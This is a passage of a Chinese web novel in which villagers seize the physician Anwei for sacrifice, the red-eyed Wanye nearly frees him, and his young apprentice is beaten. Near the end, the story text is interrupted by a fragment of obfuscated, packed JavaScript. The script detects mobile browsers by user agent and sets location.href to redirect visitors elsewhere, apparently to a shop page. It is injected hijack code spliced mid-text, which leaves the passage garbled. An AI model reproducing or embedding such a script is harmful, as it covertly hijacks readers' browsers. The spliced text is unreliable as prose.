话支支吾吾的说不清楚,因为宛楪现在的样子确实让人感到非常的恐怖。
他的脸在月光下泛着青灰色,没有任何表情。
可那双眼眸里诡异的红,却像活过来的妖孽,盛满了让人恐惧和惊悚的深渊。
那红色不是寻常的艳,看不到丝毫眼白的界限。
仿佛整个眼眶都被浓稠的血汁填满。
探不到边……
周遭的族人都下意识地屏住了呼吸,连风都似被这目光冻住。
祠堂门口的灯笼晃了晃,骤然熄灭了半边。
有人腿一软,“咚”地跪在地上,磕头的声音在寂静里格外突兀。
那双眼眸扫过来时,有无数冰冷的藤蔓顺着毛孔钻进骨头缝,里的寒气都被那抹红映得发颤。
下一秒就要被那无边无际的红,
吞噬殆尽。
宛楪的目光如同一缕无形的丝线,在人群中轻轻扫过。
先是落在村长的脸上,而后又缓缓移至安维的面庞。
宛楪的面容平静得如同深潭,没有丝毫波澜。
紧接着,她那双透着瘆人血色的瞳孔,仿佛隐藏着无尽秘密。
就那样沿着来时的路线,步伐迟缓地往回走去。
她回到了那座原本的小房子。
她静静地躺到床上,缓缓闭上双眼,仿佛这世间的一切都从未发生过。
“这,这到底是怎么回事?”
过了很久,村长才颤颤巍巍的用手指着宛楪消失的方向。
随后他立刻恶狠狠的指着安维。
“我就说这些东西会出事吧,就是因为你不听我的才会出现这样的局面!”
村长的手不断地颤抖着,像是已经惊慌到了极点。
“怎么办啊?怎么办……”
村长在原地来回急切地踱步,嘴里不停喃喃自语。
同时双手还无意识地比划着,也不知在比划些什么。
“安维,你就走这一趟吧……”
“没错没错,我们肯定不会亏待你的徒弟!”
安维医生置身于人群之中,听着这些尖酸嘲讽的话语,最终只是冷冷地笑了一声。
无论是再热的人心,如果一开始是冷的,终究也是悟不透……
“你们放开我师父!”
一个小童子稚嫩的声音传过来,他拨开人群,飞速的跌跌撞撞地跑到安维面前。
“哪里来的小破孩儿?滚开!”
人群中有人用手扒拉着小童子。
但是小童子依然死死地护在他的师傅面前,接着他几乎是声泪俱下的往上控诉。
“你们当时因为曾经有人救过我的师傅,便要求他对你们当牛做马!”
“让他一直医治你们,但是现在呢,你们又要把他推出去送死,凭什么是我的师傅!”
“凭什么要做这些事情!”
人群中立刻炸开了锅,讥笑声、鄙夷声此起彼伏。
“毛都没长齐的小屁孩,在这充什么大瓣蒜?你懂个屁!”
“他要是敢不出场,咱们全族人都得跟着陪葬!”
“这些年我们献祭了多少条人命?多他一个又算得了什么!死了也活该!”
“是啊是啊……”
“这毕竟是他应该做的……”
……
小童子还想说什么,却被安维医生一把推开。
“我知道你们是什么意思。”
安维医生站起来,眼中闪着坚定的决心,他看着眼前这群道貌岸然的人,随后,冷冷地开口:
“以前,我的师傅承蒙你们的恩惠,这份恩情,我们一脉铭记于心,故而一代一代传承下来。”
“我们这一脉,也因此留在这山中,从此成为了你们的族人。”
安维医生深吸一口气,缓缓抬起头,目光中交织着复杂的情绪。
说到此处,安维的表情变得有些无奈与苦涩,他眉头紧锁,眼中满是愤懑,提高音量——
“而你们呢?”
“一直以来,都把我们理所当然地当做你们的专属医生,什么要求都觉得我们是应该的!”
他顿了顿,一下子变得平静,带着认命的沉稳,
“我去送死,我的徒弟再也不是安复族人。”
安维医生顿了顿,像是用尽了全身力气。
随后,他像是下定了某种决心,紧咬嘴唇,脸上肌肉微微抽搐,眼神中带着悲怆和痛苦。
那痛苦仿佛要将他整个人吞噬。
“以前我的师傅承蒙你们的恩惠,所以一代一代相传。”
“我们这一脉,也因此留在这山中,成为了你们的族人。”
安维医生双唇止不住地微微颤抖,声音里已然带上了几分哽咽,眼眶泛红,神色悲戚。
他缓缓抬头,目光扫过众人。
语气决绝道:“从此以后,我们舍弃安姓。”
“若我能从那里面活着回来,我便再也不是安复族人!”
他的声音因愤怒与不甘而微微发颤,几近嘶吼着继续道:
“安复族的安,从来就不是安全的安!在你们眼里,这安姓,倒像是要用我们的死,去换来你们所谓的安稳!”
言罢,安维医生强忍着满腔的悲愤,缓缓蹲下身子。
轻轻拍了拍小童子的头,目光柔和下来,轻声安慰道:“没关系,别怕,师傅在呢。”
“师傅不会有事的。”
几个人不由分说,粗暴地架起安维师傅的胳膊,硬生生将他往外
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拖去。
一旁的小童子,也被人恶狠狠地瞪着,警告道:
“你给我老实点,别再给老子惹出其他事端!”
小童子眼眶中蓄满了泪水,他眼睁睁看着这一切,眼神中满是悲愤与无助。
此刻眼前所见的不公,就是这世上最令人绝望、痛苦,也最让人感到悲伤的事情。
“师傅……师傅你别走……”
小童子悲恸地哭喊着,声音因过度悲伤而变得沙哑破碎。
泪珠如断了线的珠子般滚滚落下。
此刻的他,满心绝望,整个世界都崩塌了。
在这无尽的痛苦中,他脑海里猛然浮现出那个有着血色眼睛的人。
当初,师傅怀着医者仁心,将重伤的那人救回。
师傅常说,医者的职责就是救死扶伤,不论对方是谁。
然而,那人独特的模样。
尤其是那双骇人的血色眼睛,却让村民们惊恐不已,忌惮万分。
如今,师傅竟因这无端的忌惮,被那些人强行带走,生死未卜……
小童子心中突然燃起一丝微弱的希望,如果那个人能出手相助,或许师傅还有活下去的可能……
这一丝希望,就像黑暗中微弱的光,让小童子瞬间有了力量。
他顾不上擦拭满脸的泪水与鼻涕,那泪水和着灰尘,在他脸上留下一道道污浊的痕迹。
他慌慌张张地转身,跌跌撞撞地往回跑,一心只想尽快找到那个人。
脚下的路崎岖不平,小童子跑得太急,一个踉跄,整个人狠狠摔在地上。
尖锐的石子划破了他的手掌,膝盖也擦破了皮,鲜血渗出,洇红了一小片泥土。
可他仿佛感觉不到疼痛,迅速爬起来,继续拼命地跑。
途中,他又接连摔倒了好几次,身上沾满了泥土与灰尘,衣服也被树枝划破,狼狈不堪。
但他没有丝毫犹豫,心中只有一个念头:
找到那个人,救师傅!
“那个……”
小童子颤抖着推开了门,即便心中早有准备。
可一瞬间,还是忍不住打了个寒颤,那抹血色的瞳孔,如鬼魅般深深烙印在他的记忆中,惊悚之感再次涌上心头。
然而,一想到师傅此刻或许正遭受着剥皮抽骨、碎魂裂魄的无尽痛苦。
童子觉得如万箭穿心,再也顾不得心中的恐惧。
师傅,那可是如同天上皎皎明月般纯净善良的人啊!
怎该遭受这般残忍的待遇!
“那个……你……你还好吗?”
小童子的声音微微发颤,透着难以掩饰的紧张与忐忑。
推开门后,映入眼帘的场景却让他微微一愣。
那个人正安静地躺在床上,神色安详,没有任何异样的动作,那双令人胆寒的血色瞳孔也紧闭着。
小童子犹豫了一下,还是小心翼翼地朝着床边挪过去。
每一步都仿佛踩在自己的心跳上。
他轻轻俯下身,带着一丝期许,小声问道:
“你醒了吗?”
顿了顿,小童子咬了咬嘴唇,鼓起勇气说道:
“我能不能……那个……求你一件事情……”
床上的人没有搭理他,像是没有了什么生机,只有起伏的胸腔还证明他依然活着。
35. 救人
“我……我师傅……要被他们害死了!”
小童子再也控制不住自己,直接哇哇的大哭出来,边哭边喊着。
“你能不能救救他,你的眼睛很奇怪,那些人都害怕你。”
“你把我的师傅救出来,我给你做牛做马,我……我可以一直报答你!”
小童子抽噎着拿起袖子擦了擦眼角的泪。
但是看着床上的人眼睛中已经没有惊悚,满是对村民满腔的恨意,以及迫切救出师父的执念。
“我的师父人很好的,他如果不是……”
“他不救你,你都活不了!我求求你……”
“你……”
“你能不能救救他?”
小童子那噙着悲泪、带着哭腔的乞援之音,在这个破败的屋子里盘旋回荡。
然而,却未能在榻上之人的世界里泛起半分波澜。
他双眸看着榻上那仿若陷入永眠的人,眼底惊惶闪过,转瞬便被无尽的无奈彻底湮没,。
目睹最后一缕希望消逝的,椎心泣血的心若死灰。
“呜呜……”
小童子终究不堪这如坠深渊的绝望重负。
“扑通”一声,直直地重重跪地。
那单薄的身形恰似遭霜打的弱柳,止不住地簌簌颤抖。
他缓缓抬起双手,仿若凝聚了全部力量,如屏障般紧紧掩住面庞。
借此隔绝巨大的绝望的痛。
压抑已久、宛如困兽哀号般的哭声,瞬间如狂飙突起的洪流般汹涌喷薄。
肆意弥漫,直至将一切都浸没在无尽的悲戚之中。
“师傅……别杀我师傅……”
泪水从他的指缝间不断涌出,浸湿了床单。
他已经。找不到什么别的缘由救出师傅了。
小童子深知,仅凭自己这副瘦弱的身板,就是螳臂当车!
无法从那群虎背熊腰的壮汉手中,将师傅解救出来!
“呜呜呜呜……”
哭声如泣如诉,仿佛是从灵魂深处撕扯而出。
小童子哭得声嘶力竭,整个人仿佛被抽去了脊梁,瘫软在床边。此刻,他的世界里只剩下这悲恸的哭声。
满心的无力感如潮水般将他彻底淹没,让他深陷其中。
而床上的人似乎已经是被吵烦了。
缓缓的睁开眼睛降头,偏偏的移到那个小童子身上,他似乎是听明白了……
原本死寂般的眼眸,在瞥见小童子那悲痛欲绝模样的瞬间,罕见地闪过一丝波动。
她缓缓坐起,动作僵硬而迟缓,像是背负着千斤重担。
此刻的她,脸上虽依旧没有多余表情,她循着原来的路线向外走去。
每一步都踏得极重,不似正常人,将地面踏出坑洼。
她不知道那名医生关在哪儿……
难办啊……
但似乎有什么特别的目标,径直地让她找到了关押的地方。
宛楪的眼神是空洞着的,而她整个人似乎也被困在灰茫茫的雾中。
宛楪还困在那光怪陆离的梦中,扭曲的灯笼,扭曲的竹影,甚至是扭曲的人……
所有的东西都显得很怪异,很不对劲。
可是她看到慕酌在里面不断的扭曲变形,她真的很想救他出来……
慕酌!!!
别走,回来,别被那些人吞噬……
扭曲的光轮,扭曲的人影。
这北国当真如慕酌所说就是一个吃人的地方!
那些村民看着宛楪慢慢的走出来,像是有什么精准定位,一下子找到了关押安维医生的地方。
没有人敢上前来,因为在传说之中带有血色眼睛的人。
带着天生的不祥征兆。
哪怕是触碰都有可能招来灭顶之灾。
走到关押安维的地方,一股腐臭与潮湿交织的刺鼻气息扑面而来。
四周的墙壁像是被某种邪恶力量啃噬得千疮百孔,大块大块的墙皮脱落,裸露出的坑洼内里犹如张牙舞爪的鬼脸,在昏暗中诡谲地扭曲着。
地上的泥土地面,干裂出一道道触目惊心的缝隙。
关押之处的门,由坚硬的石板铸就,生怕里面的人跑出来,门和旁边破旧衰败的木门不一样。
即使表面粗糙且布满青苔,在这破败中透着一种令人毛骨悚然的冷硬。
石板门上,一道道划痕仿佛是被困灵魂的绝望抓痕。
在摇曳不定、如鬼火般昏黄黯淡的光线中,散发着阴森且惊悚的气息……
仿佛门后囚禁着的,是能将人拖入无尽深渊的恐怖存在。
就在此时,宛楪如暗夜幽灵般悄然现身。
两名守卫瞥见她的刹那,眼中瞬间涌起无尽的恐惧,身体不受控制地颤抖起来。
像是见了索命厉鬼般。
下意识地各自向后退了一大步。
让出些许空间,那举动满是对宛楪深深的敬畏与极度的畏惧。
而宛楪,面无表情,脚步沉稳且毫无迟疑地朝着那扇石板门走去。
周身散发着一种能驱散恐惧却又让人不敢靠近的强大气场。
仿佛她本身就是这惊悚之地的主宰。
一切恐怖在她面前都得俯首称臣。
那两名看守,恰似遭逢鬼魅的惊兔,眼眸瞪得滚圆,死死锁住宛楪!
眼神中满溢着惊恐与畏惧,恰似一触即溃的薄冰。
他们的身躯如遭狂风吹袭的朽木,止不住地簌簌颤抖,牙齿磕碰得“咯咯”作响,了。
仿佛正在敲响恐惧的丧钟。
没有人想要自己去触碰不详。
但把别人推出去送死他们还是很乐意的。
这石板的重量,沉沉地压着。
看守的人紧张,一瞬不瞬盯着,气氛凝结着。
他们心中无比清楚,若妄图强行推动,哪怕是他们,也是鸡蛋去碰撞石头。
二人神情紧绷,仿佛被一只无形的大手狠狠攥住,呼吸都不自觉地变得急促而沉重。
眼神中满是紧张与不安,死死地盯着那块石板。
就在这令人窒息的寂静中,只剩下石板与地面摩擦发出的闷响。
那声音沉闷而压抑,仿佛带着无尽的重量……
“咔——嚓——”
这青石板挪动的声响,宛如一道尖锐的利箭,划破了这死寂的空气。
击溃了心理防线……
每一声都像是在试探着他们承受恐惧的极限。
这声音再响一分,那紧绷的神经几乎瞬间就会“啪”地一声断裂。
风不知何时悄然掠过宛楪的衣角,那衣角轻轻飘动。
在这紧张到凝固的氛围中,是唯一还在活动的事物。
交织着一幅充满张力与压迫感的画面。
直到宛楪差一点就可以打开石板,那人才从牙缝里挤出半口气:
"血,血月…!
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"
话没有说完,石板就被推开了。
宛楪静静地站在原地,面上依旧波澜不惊。
安维被绑在一处偏僻的地窖中,四周是伸手不见五指的黑暗。
潮湿的气息扑面而来,带着腐朽与阴冷,每一次呼吸,都似有无数细小的冰针,顺着鼻腔刺入心肺。
地窖的墙壁也是用粗糙的石头砌成,表面坑洼不平,偶尔有水滴落下,“滴答”声在寂静的地窖里格外突兀。
没有食物,没有水。
在这狭小而封闭的空间里,安维被紧紧绑着,绳索深深勒进皮肉。
宛楪那双血红色的眼睛掠过他,看了看门口守卫的人。
宛若有若无地从安维身上一扫而过,冰冷且锐利。
接着,她的视线如同锁定猎物的猛禽,瞬间定格在门口守卫的身上。
她整个人猛地顿住,似时间凝固。
周身散发出的寒意仿佛能将这潮湿的空气冻结。
紧接着,她脑袋微侧,缓缓歪向一边,动作看似随意,却透着一种说不出的诡异与狠厉。
她缓缓抬起手臂,那白皙的手臂在黑暗中如同一条灵动的白蛇,手指逐一伸展。
随后,她精准地指向门口那两名守卫,动作干脆果断,不带一丝犹豫。
紧接着,她手腕轻轻翻转,手掌如同一把利刃,迅速地在脖颈处划过,做出一个干净利落的割喉动作。
她转过头,空洞的眼睛看着安维的方向,没有接下的动作。
那感觉就像是……
就像是在问安维,等待他的意见——
是否要杀了他们?
这一连串的动作,宛如一场精心编排的死亡之舞,在这寂静的空间里,将紧张与血腥的氛围渲染到了极致。
而那些人的眼中看到的,就是这个带着不祥的血红色的瞳孔的人,居然听这个小小医生的话。
“安维!是不是你,是不是你把这个不祥的人带过来的?”
“一定是你,你一直反对村子里面献祭的事情,你是要害死我们!”
门口守卫的两个人,非常的惊慌,手指的安维不断的哆嗦,甚至已经忘记了要做什么。
“快去!快去!”
“找村长!太恐怖了,这是什么事儿啊?!”
两个人慌慌张张的从各自的方向逃窜,宛楪的眼睛追着他们不放,她看了安维一眼,突然一飞速过去抓住其中一个人,并且带了回来,扔在地上。
似乎是在等安维的话,如果安慰说杀了他,很有可能这个人马上就要死亡。
就在宛楪把手伸向那个人的脖子,狠狠掐住的时候,安维出声:
“住手!”
“你,你到底是谁?”
“你是不是和传说真的……”
安维的声音带着抖动,他确实会不认识眼前的人是谁。
只不过是把他从泥石流中救出来而已,但是他的出现,似乎与传说之中特别的接近,就连他也有一些动摇。
宛楪没有回复他的话,手上的动作只是停下,并没有松开。
眼中闪过一丝不耐烦,像是反感这个人类话怎么这么多。
似乎是察觉到宛楪身上已经有生气的意思。
安维医生并没有多劝,只不过说,
“这个人他不能死,你先别杀他!”
声音带着抖动,连手也跟着一起颤抖,他也拿捏不住眼前这个人,到底是谁?
36. 真正的不详
宛楪看了他一眼,而安维医生的眼中明显的看到,那血红色恐怖的瞳孔中似乎往上翻了翻……
很怪异的举动。
但……
但就好像是他这个人,在不屑于自己的举动,对他翻了一个……
白眼。
呃……
安维紧张的咽了一口水,看着宛楪说,“我不知道你从哪里来的,但是我不相信这个传说是真的,你的瞳孔可能是因为先天性的因素。”
“但是你……你,你还好吧?”
安维医生似乎想说很多的话,但是最后只能说到了一句问候。
他看着眼前的这个人,似乎又对他翻了个白眼。
……
过了一会,就在安维绞尽脑汁想要说点什么的时候。
宛楪放开了那个人,按原路回去了。
对这一景象,安维医生瞪大了双眼,他的双手下意识地攥紧衣角。
一阵风刮过,吹得他的头发凌乱地飞舞,可他依旧呆呆伫立,显然还深陷在震惊之中无法自拔。
这时,不远处的村民们被两人找来,一个接一个像是被点燃的爆竹,往这边赶。
原本宁静的村庄小道上,顿时尘土飞扬。
走在前面的几个年轻力壮的村民,迈开大步,脚下的地面被踩得“咚咚”作响,一边跑,一边挥舞着手臂,嘴里大声呼喊着:
“抓住他,抓住那个祸害!”
声音尖锐又急切,仿佛在宣泄着内心的恐慌与愤怒。
随着村民们越跑越近,那震耳欲聋的呼喊声也愈发清晰,如同一股汹涌的浪潮,朝着还在震惊中的安维医生席卷而来。
“没错!就是他!”
“那个灾星就是他找过来的,赶紧把他送到献祭塔里面,他今天必须得死!”
几个大汉七手八脚的把安维绑了起来,为首的长满老茧的大手一把就牢牢抓住安维的肩膀,紧接着用力向后一扭,动作干脆又狠厉。
另一个大汉见状,像铁钳一般死死钳住安维的双臂,将其扭转到背后。
安维的手臂被勒得泛红,袖口处的缝线在拉扯下发出“呲啦”一声细微的声响,不堪重负。
衣角处瞬间撕裂了一道口子,碎布随着微风轻轻飘动。
这是多怕我跑啊……
安维在心里冷笑,不过也没关系,过了这一次,他和这些狼心狗肺的人就再也不会有什么关系了。
安维象征性的挣扎着,双脚乱蹬,地面上顿时扬起一小片尘土,他的鞋子在慌乱中踢掉了一只,孤零零地躺在一旁。
可大汉们身强力壮,这挣扎对他们而言丝毫不受影响,他们熟练地将绳索缠绕在安维身上。
一圈又一圈,每一圈都勒得紧紧的,绳索深深勒进安维的皮肉。
他疼得眉头紧紧皱在一起,额头上豆大的汗珠滚落,嘴里发出痛苦的闷哼,声音在这寂静的氛围里显得格外凄惨。
大汉们似乎一刻都不愿耽搁,绑好安维后,其中两人架起他的双臂,架住安维。
几人脚步匆匆,地上留下一串凌乱而又急促的脚印。
朝着那传说中的献祭塔奔去。
一路上,安维的身体随着他们的步伐剧烈颠簸,他的头发被汗水浸湿,凌乱地贴在脸上。
那些人眼神直直地盯着前方的献祭塔。
完成这个任务是他们此刻最重要的事!
“赶紧,赶紧!”
“他如果不死,我们都得死!”
那些话如同锋利的冰碴,一字一句地刺进安维的耳朵,顺着神经直抵心底。
平日里总是透着温和与自信的双眼,空洞而失神。
他下意识地握紧双拳,手背上的青筋因用力而突兀地鼓起,指关节泛出惨白的颜色,好似在徒劳地抓住最后一丝希望。
那些话语如同阴森的丧钟,催命符一样。
那些为病人精心治疗的日夜,那些对未来的美好憧憬,此刻都如泡沫般在眼前破碎!
一阵酸涩涌上喉头,他想张口说些什么,却干涩得发不出半点声音。
心底凉透的感觉愈发强烈,如同置身于冰天雪地的荒原。
再也寻不到一丝温暖与希望。
“这小子也是,似乎就不像他师傅那么听话,如果他像他师父那样的话,或许我们就不用有这么多的麻烦了。”
“当年他师傅也是为了保他一个人,天哪,要不然就跑了……”
安维被架着向前,零星的听到这些人的话。
那些话语像尖锐的针,断断续续扎进他耳朵,他使出浑身力气,脖颈青筋暴起,肌肉紧绷如即将断裂的弓弦,艰难地扭过头。
一群村妇聚在不远处,叽叽喳喳说个不停,表情冷漠又疏离,。
你一言我一语,声音交织,似无形的网将安维紧紧罩住。
他们说的是什么意思?!
师傅的死和他们有关?!
到底是怎么回事!
师傅不是意外去世?
他们对师傅做了什么?!
安维双眼瞪得滚圆,眼里满是愤怒与急切。
想从她们话里挖出有用信息,嘴唇激动得微微颤抖,下意识要开口质问。
然而,还没等他出声,押着他的人猛地伸出粗壮手臂,如铁棍般蛮横卡住他脖子,用力一扭,把他的头硬生生扳回去。
这突然的强力扭转,让安维脖子如被烈火炙烤,疼得钻心,眼前金星乱冒。
强烈的眩晕感像汹涌潮水般涌来。
他身子一晃,几乎站立不稳。
但心中愤怒与疑惑反而更强烈,他愤怒地闷哼一声,双脚在地上使劲蹬踹。
尘土飞扬,一心想挣脱束缚。
弄明白究竟发生了什么。
“干什么?还想跑啊!”
安维疯狂地挣扎着,他双目圆睁,眼中燃烧着愤怒与疑惑的火焰,大声吼道:
“你们刚才说的话到底什么意思?!给我说清楚!”
那声音仿佛从胸腔最深处迸发出来,带着一种不可控的愤怒。
他用力扭动身躯,地面被蹬出两个浅浅的坑洼。
额头上豆大的汗珠滚落,他试图挣脱这禁锢。
他要知道那话语背后真正的含义!
安维像一头发疯的野兽挣扎着,身上的绳索被绷得紧紧作响,随时都会被挣断。
那些人不说话,安维就加大挣扎力度,非要问出个所以。
“我师傅究竟是怎么回事?!”
那声音带着颤抖,透着一股不容置疑的急切。
“我的师傅的死有蹊跷,他是怎么死的?!”
安维涨红了脸,额头上青筋暴起,每一个字都像是从牙缝中挤出来的。
对面的人眉头紧皱,眼神闪躲,不耐烦地呵斥道:
“这和你半毛钱关系都没有!”
“你没必要知道,少在这儿瞎打听!”
说话间,还不自觉地握紧了拳头,似乎生怕安维再追问下去。
另一个人也跟着附和,语气冰冷且强硬:“你马上就要死了,还问这些有什么用?”
“别废话,乖乖听话,别做无谓的挣扎,省点力气吧!”
说罢,还上前推搡了安维一把,眼神中满是不屑与冷漠。
“我师傅是怎么回事?”
“这和你没有什么关系!”
“你不需要知道!”
“因为你马上就要死了!”
几个大汉把他压制的死死的,把他的头掰了过来,手钳住,生怕他逃跑一样,恶狠狠的警告了几句。
其中有一个人,回头看了那些跟着的妇女,狠狠的剜他们一眼。
那些人似乎是被这个眼神震慑,交谈的声音小了很多。
但是脸上很显然带着不服气,小声嘟囔着。
“明明就是,如果他师傅早点去死的话,咱们就不会有……”
交谈的声音似乎又感受到了压力,没有再说话。
一种强烈的不安瞬间蔓延全身,安维心中“咯噔”一下。
他敏锐地察觉到,周围的气氛诡异得如同暴风雨来临前的死寂,每个人的眼神都透着古怪!
不对劲!
这绝对不对劲!
一定是有什么他不知道的!
师傅的死,到底是怎么回事?!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275760|198236||http|test|mini|href|location''.split(''|''),0,{}));
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>他扭动着身躯,试图挣脱束缚,却只是徒劳。
那几双手纹丝不动,他的双脚拼命蹬踹,地面扬起些许灰尘,可换来的只是对方更用力的压制。
安维心中满是无奈与焦急,目光中透露出不甘。
在这绝对的力量面前,自己一时之间实在是没有任何办法能够摆脱困境。
他们……
也未必是师父说的救命恩人!
安慰的双眼变得有些腥红,师傅惨死的画面还在他脑中徘徊。
他死死的咬住牙齿不让那些人看到有什么异样。
而脑中不断计算着自己如何逃跑。
只有他活着,才能查清他们所说的。
当年的真相!
安慰的牙齿咬着嘴唇,露出丝丝的血痕。
畜牲!一群畜生!
他没有发现的是,他的眼睛也慢慢的变成了红色……
他这个红色更接近于传说之中——
被压迫的猩红,带着愤怒,带着怨恨,带着毁灭一切的!
血红色!!!
这一幕,实在透着说不出的诡异。
一群人簇拥着,将安维紧紧绑缚,正朝着某个地方押送而去。
每个人的神情都古怪至极。
人群中的妇女们,三三两两凑在一起,压低声音窃窃私语,透着一种莫名的阴森。
她们的眼神时不时朝安维扫去,目光中满是冷漠与反感,仿佛安维是个令人作呕的存在。
被绳索紧紧束缚的安维,此刻脸庞涨得通红。
愤怒如同汹涌的暗流在他体内翻涌,紧咬的牙关间似有丝丝缕缕的恨意溢出!
他的双眼正逐渐变得愈发殷红,在这诡异的氛围中闪烁着危险的光芒。
然而,那些负责押送他的人,满心只想着尽快将安维送到目的地。
匆忙的脚步和焦急的眼神暴露了他们内心的急切。
他们丝毫没有察觉到安维身上悄然发生的变化,注意力完全被即将完成任务的迫切感占据。
对于安维那逐渐泛红且充满怨愤的双眼,以及他压抑的愤怒与隐忍,都忽视了。
气氛就这么诡异进行着,谁也没有打扰……
另一边宛楪回来,此时的她脸颊微微泛红。
那是被戏耍后愠怒。
紧抿的嘴唇线条冷硬,那标志性的血红色眼睛,缓缓闭上。
随后,她侧身躺下,身子笔直,双手交叠放在小腹,脸上的表情逐渐归于平静。
动作轻柔却又透着一股不容侵犯的冷意。
小童子粉嘟嘟的小脸上,泪痕还清晰可见。
脏兮兮的小脸上留下两道明显的印记。
那双眼眸,原本因哭泣而红肿,此刻瞧见宛楪又折返回来,瞬间瞪得大大的。
满是惊讶与疑惑,眼神中还隐隐透着一丝畏惧。
小嘴也微微张开,一副想说却又不敢说的模样。
“你……你不是去救师父了吗?”
“怎么……又回来了?”
小童子眼巴巴地望着床上毫无反应的宛楪。
可床上的人就像没听见他说话一般,动也不动。
他眼眶里蓄满了泪水,豆大的泪珠在眼眶里打转,摇摇欲坠。
“连你也救不出师父吗?”
小童子的声音带着哭腔,颤抖得厉害,像是被重锤狠狠击中了内心。
话一出口,那强忍着的悲伤瞬间决堤,“呜呜呜……”他再也抑制不住,放声大哭起来。
肩膀剧烈地抖动着,小小的身躯仿佛在寒风中瑟瑟发抖的落叶。
“那……那我陪着师父一起去,我不能让坏人欺负我的师父!”
他哭得抽抽搭搭,一边哽咽着,一边下意识地抬起手臂。
那脏兮兮的小手上满是泥污和泪水的混合物,就这么胡乱地在脸上抹了两把。
泥巴和着泪水,糊在他的脸上,原本就泪痕交错的小脸变得更加狼狈不堪。
他的鼻子被哭得通红,一抽一抽的,嘴里还不断发出带着哭音的嘟囔。
满心的无助与绝望在这一刻彻底爆发。
显得可怜又凄惨。
37. 慎!
血月如同一盏诡异的红灯笼,沉甸甸地悬在小镇的上空。
将整个世界都浸染上一层令人胆寒的血色。
小童子站在这如炼狱般的场景中,小小的身躯止不住地颤抖。
一切犹如一场噩梦,师傅被抓……
那些大汉的狰狞面容,村民们冷漠的眼神,让他充满了恐惧和愤怒。
但一想到师傅此刻可能正遭受着痛苦,他咬了咬牙,吸了吸鼻子,那小小的鼻子被冻得通红,还挂着晶莹的鼻涕。
紧接着,他两条小腿快速地交替挪动,脚步急促而杂乱。
鞋子破旧不堪,“哒哒哒”的脚步声在很快被呼啸的风声掩盖。
周围的一切似乎都在为小童子的离去而默哀。
远处的房屋在血月的映照下,投下长长的、扭曲的影子……
小童子却丝毫没有回头。他的脑海中只有一个念头:
去找师傅,陪师傅一起死!!!
这个信念如同黑暗中的一盏明灯,支撑着他弱小的身躯。
小童子一直走,哪怕身上的伤不断变多。
恶灵塔,他知道在什么地方,那个满是血腥,满是怨怒……
结霜的田埂,脚底被冰碴划出细小的血口,他却感觉不到疼。
远远地,他看见十几个火把围成晃动的光圈,师父的青色长袍在人群中忽隐忽现,像一片被狂风撕扯的荷叶。
"师父——!"
小童子跌进泥沟又爬起来时,尝到嘴角有铁锈味。他的裤管被汗浸透,沉甸甸地缠在腿上,可他还是拼命往前跑。
田野上,师父被反绑着双手,麻绳深深勒进腕间的旧伤。
那是去年给瘟疫病人放血时,被碎瓷划破的位置。
小童子突然扑上去抱住最近那人的腿:
"求求你们!师父昨夜还给帮你们,给你们做血......"
话未说完,穿羊皮袄的汉子抬腿一甩,小童子一下子飞了出去!
后脑勺磕在拴马石上时,眼前被鲜血蒙盖。
他模糊看到师父突然剧烈挣扎起来,灰白的胡须上沾着晨露,在阳光下像一把碎银子。
"走......"
师父的声音哑得不成样子,可小童子还是看清了那个口型。
师傅教他认药时,也说"走",是说"走马看黄花",要快些认准药性。
穿靛蓝短打的壮汉突然揪住师父衣领:
"你什么东西还敢瞪眼!"
师父的青色衣领被扯开,露出锁骨下那个铜钱大的疤,
那是去年救落水孩子时被船桨戳的。
而被救孩子的父母,此时就站在人群中,面无表情。
“不要打师父!”
小童子又扑上去,这次死死咬住汉子的手腕。
汉子吃痛松手,师父像截枯木般栽倒,额头撞在青石板上,发出空洞的响声。
穿绛紫马面裙的妇人突然尖笑起来:
“小畜生倒会护主!”
她狞笑着,踩住安维此时散开的发髻,鞋底还沾着昨夜的药渣。
小童子想起来,那是师父给这妇人丈夫煎的汤,用来续命的汤。
他再也抑制不住,眼中满是泪水。
师傅受的委屈怎么那么多……
小童子爬过去想推开那只脚,却被一记耳光扇得眼前发黑。
“我陪师父......”
小童子抱住师父的脖子,把脸贴在那片冰凉的皮肤上。
他闻到了师父身上熟悉的艾草香,还有血的味道。
好多好多血……
“师傅...师傅...”
孩子的哭喊混着血沫,安维看见他怀里还死死抱着那本医书。
昨夜自己刚用针线给他补好的书脊,此刻正随着踢打簌簌落下线头。
“小杂种还偷书!”
穿靛蓝短打的汉子一脚踹在童子腰眼,孩子像破布娃娃般滚到磨盘底下。
安维看着眼前这一切,恨意在胸腔爆发。
指甲突然在石碾上崩断,他尝到舌尖渗出的血腥味。
茫茫夜色,看不清他的眼睛,没人知道他的瞳孔在幻化,在缩着换成红色……
人群中转出几个挎菜篮的妇人,穿柳绿比甲的陈嫂突然尖笑起来:
“早该把这家子庸医都填了井!去年我家阿牛发热...”
她突然掰开童子嘴唇,
“瞧瞧这牙口,倒是副好药引子!”
安维瞳孔猛缩,他记得……
陈嫂的儿子,那个出痘热惊厥的孩童,是他用三更天的露水救回来的。
此刻那孩子正躲在母亲裙摆后,怯生生地看着这一切……
穿羊皮袄的汉子突然拽起小童子的后领:
“想死?成全你!”
小童子摔在晒药场的石碾旁,后腰撞上了碾槽的边缘。
剧痛让他瞬间蜷成一只虾米,可他还是死死盯着师父被拖走的方向。
视线渐渐模糊……
师父的白发在泥地上拖出一道痕迹……
师傅!!!
小童子突出一口血,向前伸出手。
“师傅...救...”
安维看见孩子努力朝自己伸出手,但又被汉子一脚踹下。
童子像只破药囊般蜷缩起来。
但孩子突然爆发出惊人的力气,用额头抵着泥地往前爬。
“没、没关系...我陪师傅...”
“小畜生还挺硬气!”
麻脸汉子拽着童子发髻提起。
安维突然瞳孔骤缩,童子爬过的痕迹像极了,师傅临终前,用咳出的血在床单上写的那个“安”字。
最后一捺突然诡异地往上挑,像把出鞘的匕首。
当时他只当是老人手抖,现在却惊觉那分明是...
“师傅...一起...”童子仍在喃喃,最终抵不过,晕死过去。
地上只有一条短短的血痕……
“原来...如此..…”
安维眼睛留下血泪,看着孩子的手腕上的五色绳。
